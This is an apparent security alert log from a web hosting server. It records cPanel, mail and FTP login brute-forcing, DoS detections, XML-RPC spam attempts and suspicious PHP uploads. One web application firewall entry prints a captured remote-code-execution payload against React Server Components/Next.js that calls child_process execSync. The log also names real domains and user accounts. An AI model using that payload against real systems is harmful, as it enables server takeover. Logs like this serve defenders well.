# incident

plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.190.190.169
country_id: 3996063
description:
[2026-06-25 06:06:50 +0000] info [cpaneld] 187.190.190.169 - edu "GET /login/?login_only=1&user=edu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user edu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.237.123.43
country_id: 99237
description:
[2026-06-25 06:06:26 +0000] info [cpaneld] 212.237.123.43 - educplusmedia "GET /login/?login_only=1&user=educplusmedia&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusmedia (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.7.106.76
country_id: 3508796
description:
[2026-06-25 06:06:37 +0000] info [cpaneld] 38.7.106.76 - educplu "GET /login/?login_only=1&user=educplu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.64.157.6
country_id: 2017370
description:
[2026-06-25 06:09:14 +0000] info [cpaneld] 195.64.157.6 - we "GET /login/?login_only=1&user=we&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user we (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.113.40.227
country_id: 3469034
description:
[2026-06-25 06:08:43 +0000] info [cpaneld] 179.113.40.227 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.243.183.25
country_id: 2017370
description:
[2026-06-25 06:08:45 +0000] info [cpaneld] 188.243.183.25 - wellcity "GET /login/?login_only=1&user=wellcity&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcity (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.43.243.149
country_id: 3895114
description:
[2026-06-25 06:08:50 +0000] info [cpaneld] 181.43.243.149 - wellcitytg "GET /login/?login_only=1&user=wellcitytg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcitytg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.51.39.97
country_id: 3658394
description:
[2026-06-25 06:08:56 +0000] info [cpaneld] 38.51.39.97 - wellci "GET /login/?login_only=1&user=wellci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 61.7.134.52
country_id: 1605651
description:
[2026-06-25 06:09:11 +0000] info [cpaneld] 61.7.134.52 - wel "GET /login/?login_only=1&user=wel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wel (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.87
country_id: 130758
description:
Jun 25 06:13:30 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.87 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 192.227.176.16
country_id: 6252001
domain: partenaires.ucao-uut.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo $((40891*44300))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-25 06:13:31 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:19862: 535 Incorrect authentication data (set_id=engels)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - kagbekoh@davakconsulting.com [06/25/2026:06:14:45 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: kagbekoh@davakconsulting.com


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.135
country_id: 1880251
description:
47.128.121.135 - - [25/Jun/2026:06:14:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9659800&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fsix-cambrioleurs-arretes-a-kara%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782368087 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/six-cambrioleurs-arretes-a-kara/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.135


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.12.193.171
country_id: 3469034
description:
[2026-06-25 06:18:12 +0000] info [cpaneld] 177.12.193.171 - djam "GET /login/?login_only=1&user=djam&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user djam (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.160.137.42
country_id: 3895114
description:
[2026-06-25 06:17:59 +0000] info [cpaneld] 181.160.137.42 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.64.144.121
country_id: 2921044
description:
[2026-06-25 06:18:03 +0000] info [cpaneld] 77.64.144.121 - djama "GET /login/?login_only=1&user=djama&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user djama (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.234.85.32
country_id: 298795
description:
[2026-06-25 06:18:19 +0000] info [cpaneld] 88.234.85.32 - dj "GET /login/?login_only=1&user=dj&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dj (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.141.128.163
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:45.141.128.163||TA:45.141.128.163||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.67.121.58
country_id: 1814991
description:
Jun 25 06:17:50 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.67.121.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 150.136.56.244
country_id: 6252001
description:
Jun 25 06:19:14 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 150.136.56.244 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 25 06:19:54 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-25 06:19:56 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:36136: 535 Incorrect authentication data (set_id=nataly)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.125.242.74
country_id: 1733045
description:
[2026-06-25 06:20:33 +0000] info [cpaneld] 27.125.242.74 - inger "GET /login/?login_only=1&user=inger&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user inger (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.255.42.75
country_id: 3469034
description:
[2026-06-25 06:20:37 +0000] info [cpaneld] 187.255.42.75 - ingertg "GET /login/?login_only=1&user=ingertg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ingertg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.100.110.3
country_id: 3658394
description:
[2026-06-25 06:20:46 +0000] info [cpaneld] 191.100.110.3 - in "GET /login/?login_only=1&user=in&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user in (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.107
country_id: 6252001
description:
[2026-06-25 06:21:48 +0000] info [cpaneld] 107.174.169.107 NEW formationfreenet:AZF8VzhFFymEw_r_ address=107.174.169.107,app=cpaneld,creator=formationfreenet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.180.54
country_id: 1880251
description:
43.173.180.54 - - [25/Jun/2026:06:21:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12949395&pdata=https%253A%252F%252Ftogodailynews.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Fformat%253Dxml%2526url%253Dhttps%25253A%25252F%25252Ftogodailynews.tg%25252Faide-le-secours-des-primo-demandeurs-demploi%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782368507 HTTP/1.1" 404 561 togodailynews.tg "https://togodailynews.tg/wp-json/oembed/1.0/embed?format=xml&url=https%3A%2F%2Ftogodailynews.tg%2Faide-le-secours-des-primo-demandeurs-demploi%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.180.54


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jun 25 06:22:56 ns5 pure-ftpd[328767]: (?@47.84.199.24) [WARNING] Authentication failed for user [crepsad]


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.182.30
country_id: 1880251
description:
43.173.182.30 - - [25/Jun/2026:06:23:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6670488&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Ftikpi&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782368584 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/tag/tikpi" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.182.30


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 25 06:26:36 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-25 06:26:38 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:31772: 535 Incorrect authentication data (set_id=testip)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.104
country_id: 3469034
description:
Jun 25 06:28:55 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.104 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.253.90.113
country_id: 2661886
description:
2026-06-25 06:29:28 dovecot_login authenticator failed for H=89-253-90-113.customers.ownit.se [89.253.90.113]:44875: 535 Incorrect authentication data (set_id=geraud@armp.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 82.117.243.149
country_id: 2750405
domain: www.shekina.tensai.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:82.117.243.149||TA:82.117.243.149||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.253.90.113
country_id: 2661886
description:
Jun 25 06:29:26 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.253.90.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.0.28.58
country_id: 192950
domain: www.matosshop.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.matosshop.tg/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.120.240
country_id: 1562822
domain: www.matosshop.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.matosshop.tghttp/www.matosshop.tg/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.123.235.99
country_id: 1880251
description:
[2026-06-25 06:30:50 +0000] info [cpaneld] 109.123.235.99 - 2083 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.242
country_id: 1814991
description:
2026-06-25 06:32:57 dovecot_login authenticator failed for H=([111.61.176.242]) [111.61.176.242]:63558: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.230.102.84
country_id: 1643084
description:
Jun 25 06:33:18 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.230.102.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-25 06:33:21 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:34918: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 44.243.203.236
country_id: 6252001
domain: koko.kpmg.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:kpmg||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.43.39.252
country_id: 3895114
description:
[2026-06-25 06:39:10 +0000] info [cpaneld] 181.43.39.252 - sncom "GET /login/?login_only=1&user=sncom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sncom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.119.57.136
country_id: 3686110
description:
[2026-06-25 06:39:15 +0000] info [cpaneld] 200.119.57.136 - sncomtg "GET /login/?login_only=1&user=sncomtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sncomtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.233.79.83
country_id: 3686110
description:
[2026-06-25 06:39:18 +0000] info [cpaneld] 201.233.79.83 - snco "GET /login/?login_only=1&user=snco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user snco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.107.215.88
country_id: 1168579
description:
[2026-06-25 06:39:05 +0000] info [cpaneld] 175.107.215.88 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 150.136.56.244
country_id: 6252001
description:
Jun 25 06:39:18 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 150.136.56.244 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 42.200.73.3
country_id: 1819730
description:
Jun 25 06:39:49 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 42.200.73.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.73.3
country_id: 1819730
description:
2026-06-25 06:39:51 dovecot_plain authenticator failed for H=42-200-73-3.static.imsbiz.com (cockoosed) [42.200.73.3]:50472: 535 Incorrect authentication data (set_id=info@white-ways.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.101.119.68
country_id: 2589581
description:
[2026-06-25 06:39:25 +0000] info [cpaneld] 105.101.119.68 - sn "GET /login/?login_only=1&user=sn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sn (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.231.104.237
country_id: 2921044
description:
Jun 25 06:40:56 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.231.104.237 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.108
country_id: 2635167
description:
[2026-06-25 06:40:43 +0000] info [cpaneld] 5.230.153.108 NEW newistm:TOTu_gX77lRzZsy5 address=5.230.153.108,app=cpaneld,creator=newistm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.60.103.71
country_id: 1269750
description:
Jun 25 06:42:46 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.60.103.71 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.43
country_id: 6252001
description:
[2026-06-25 06:45:46 +0000] info [cpaneld] 107.175.5.43 NEW frtwilql:8kny5ZK0UKxomHyN address=107.175.5.43,app=cpaneld,creator=frtwilql,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 138.219.122.253
country_id: 3608932
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:138.219.122.253||TA:138.219.122.253||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.189.74.173
country_id: 3895114
description:
186.189.74.173 - - [25/Jun/2026:06:47:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13014938&pdata=https%253A%252F%252Fwww.togosem.com%252F2025%252F03%252F03%252Fplay-with-the-finest-on-the-web-casino-in-europe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782370060 HTTP/2.0" 302 0 www.togosem.com "https://www.togosem.com/2025/03/03/play-with-the-finest-on-the-web-casino-in-europe/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.189.74.173


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 25 06:48:42 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.136.201.11
country_id: 1210997
description:
[2026-06-25 06:51:11 +0000] info [cpaneld] 103.136.201.11 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.191.174.222
country_id: 1562822
description:
[2026-06-25 06:50:50 +0000] info [cpaneld] 14.191.174.222 - togoathl "GET /login/?login_only=1&user=togoathl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoathl (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 65.110.40.28
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 65.110.40.28: 80 connections per 30 seconds to 80 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.110.58.43
country_id: 3658394
description:
[2026-06-25 06:51:07 +0000] info [cpaneld] 190.110.58.43 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.101.235.245
country_id: 2017370
description:
[2026-06-25 06:50:39 +0000] info [cpaneld] 176.101.235.245 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.181.181.122
country_id: 1210997
description:
[2026-06-25 06:50:58 +0000] info [cpaneld] 103.181.181.122 - togoat "GET /login/?login_only=1&user=togoat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.90.201.16
country_id: 3469034
description:
[2026-06-25 06:51:17 +0000] info [cpaneld] 168.90.201.16 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.161.118.169
country_id: 3996063
description:
[2026-06-25 06:50:45 +0000] info [cpaneld] 187.161.118.169 - togoathletismetg "GET /login/?login_only=1&user=togoathletismetg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoathletismetg (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 181.115.171.123
country_id: 3923057
description:
181.115.171.123 - - [25/Jun/2026:06:53:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6460267&pdata=https%253A%252F%252F24heureinfo.tg%252Fpolitique%252Ftogo-lopposante-adjamagbo-johnson-et-djossou-liberes-sous-conditions%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782370381 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/politique/togo-lopposante-adjamagbo-johnson-et-djossou-liberes-sous-conditions/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:181.115.171.123


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 95.92.54.2
country_id: 2264397
description:
95.92.54.2 - - [25/Jun/2026:06:52:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999765&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-19411detid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782370347 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-19411detid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:95.92.54.2


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 78.47.149.66
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 78.47.149.66: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 78.47.149.68
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 78.47.149.68: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 78.47.149.87
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 78.47.149.87: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 25 06:58:08 ns5 pure-ftpd[345951]: (rela@relanceinfo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/qjzcsoob/public_html/wp-content/themes/astra/inc/assets/css/block-editor-styles-rtl.php uploaded  (0 bytes, 0.00KB/sec)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 25 06:58:55 ns5 pure-ftpd[346185]: (rela@relanceinfo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/qjzcsoob/public_html/wp-content/themes/astra/inc/assets/css/css.php uploaded  (0 bytes, 0.00KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.161.85
country_id: 3469034
description:
Jun 25 07:01:02 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.161.85 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.188.23.108
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1a4cb776fc049fe1334dce02b2b4de01b1e9ade3||Title:lvfvsj1bvuj4bphael||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.188.23.108
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:be37789e268b1d0796dd8788c13aea550dab8f68||Title:zpqnh309gc45qt5||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.188.23.108
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6b6fad481dc2a8e3e8066f8b499d21019f3993aa||Title:f6nsrc4vhdua0cls||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.87
country_id: 130758
description:
Jun 25 07:02:53 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.87 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.188.23.108
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:904e2a96dc0e801139b8edb94879932361c28e13||Title:tu2isbho6vb2t9hky||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.80.3.240
country_id: 1210997
description:
[2026-06-25 07:03:39 +0000] info [cpaneld] 103.80.3.240 - davakco "GET /login/?login_only=1&user=davakco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davakco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.29.34.36
country_id: 3686110
description:
[2026-06-25 07:03:44 +0000] info [cpaneld] 186.29.34.36 - davakc "GET /login/?login_only=1&user=davakc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davakc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.22.123.147
country_id: 3865483
description:
[2026-06-25 07:03:52 +0000] info [cpaneld] 186.22.123.147 - dava "GET /login/?login_only=1&user=dava&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dava (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.7.16.9
country_id: 3932488
description:
